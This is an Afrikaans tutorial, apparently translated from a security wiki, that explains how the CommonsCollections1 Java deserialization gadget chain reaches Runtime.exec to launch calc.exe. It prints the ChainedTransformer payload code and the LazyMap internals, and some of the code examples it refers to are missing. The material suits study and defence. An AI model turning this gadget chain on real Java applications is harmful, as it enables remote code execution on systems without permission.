As jy nie iets weet van java deserialisering payloads nie, kan dit moeilik wees om uit te vind hoekom hierdie kode 'n calc sal uitvoer.
Eerstens moet jy weet dat 'n Transformer in Java iets is wat 'n klas ontvang en dit na 'n ander een transformeer.
Dit is ook interessant om te weet dat die payload wat hier uitgevoer word gelykstaande is aan:
So, hoe is die eerste payload wat aangebied word gelyk aan daardie "simpele" een-liners?
Eerstens kan jy in die payload opmerklik dat 'n ketting (array) van transformasies geskep word:
String[] command = {"calc.exe"};finalTransformer[] transformers =newTransformer[]{//(1) - Get gadget Class (from Runtime class)newConstantTransformer(Runtime.class),//(2) - Call from gadget Class (from Runtime class) the function "getMetod" to obtain "getRuntime"newInvokerTransformer("getMethod",newClass[]{ String.class,Class[].class},newObject[]{"getRuntime",newClass[0]}),//(3) - Call from (Runtime) Class.getMethod("getRuntime") to obtain a Runtime ojectnewInvokerTransformer("invoke",newClass[]{Object.class,Object[].class},newObject[]{null,newObject[0]}),//(4) - Use the Runtime object to call exec with arbitrary commandsnewInvokerTransformer("exec",newClass[]{String.class},command)};ChainedTransformer chainedTransformer =newChainedTransformer(transformers);
As jy die kode lees, sal jy opgemerk dat as jy op een of ander manier die transformasie van die array ketting, jy in staat sal wees om arbitrêre opdragte uit te voer.
In die laaste gedeelte van die payload kan jy sien dat 'n Map objek geskep word. Dan word die funksie decorate uitgevoer vanaf LazyMap met die map objek en die geketende transformers. Uit die volgende kode kan jy sien dat dit sal veroorsaak dat die gekete transformers binne die lazyMap.factory attribuut gekopieer word:
protectedLazyMap(Map map,Transformer factory) {super(map);if (factory ==null) {thrownewIllegalArgumentException("Factory must not be null");}this.factory= factory;}
En dan word die groot finale uitgevoer: lazyMap.get("anything");
Dit is die kode van die get funksie:
publicObjectget(Object key) {if (map.containsKey(key) ==false) {Object value =factory.transform(key);map.put(key, value);return value;}returnmap.get(key);}
En dit is die kode van die transform funksie
publicObjecttransform(Object object) {for (int i =0; i <iTransformers.length; i++) {object = iTransformers[i].transform(object);}return object;}
So, onthou dat ons binne factorychainedTransformer gestoor het en binne die transform funksie deur al daardie geketende transformers gaan en een na die ander uitvoer. Die snaakse ding is dat elke transformer objectas invoer gebruik en object is die uitvoer van die laaste transformer wat uitgevoer is. Daarom, word al die transforms geketend uitgevoer met die kwaadwillige payload.
Summary
Aan die einde, weens hoe lazyMap die geketende transformers binne die get metode bestuur, is dit asof ons die volgende kode uitvoer:
Note dat hier die gadgets wat gebruik word vir die ComonsCollections1 payload verduidelik is. Maar dit is oorlaat hoe alles begin om uit te voer. Jy kan hier sien dat ysoserial, om hierdie payload uit te voer, 'n AnnotationInvocationHandler objek gebruik omdat wanneer hierdie objek gedeserializeer word, dit die payload.get() funksie sal aanroep wat die hele payload sal uitvoer.
Java Thread Sleep
Hierdie payload kan handig wees om te identifiseer of die web kwesbaar is aangesien dit 'n slaap sal uitvoer as dit is.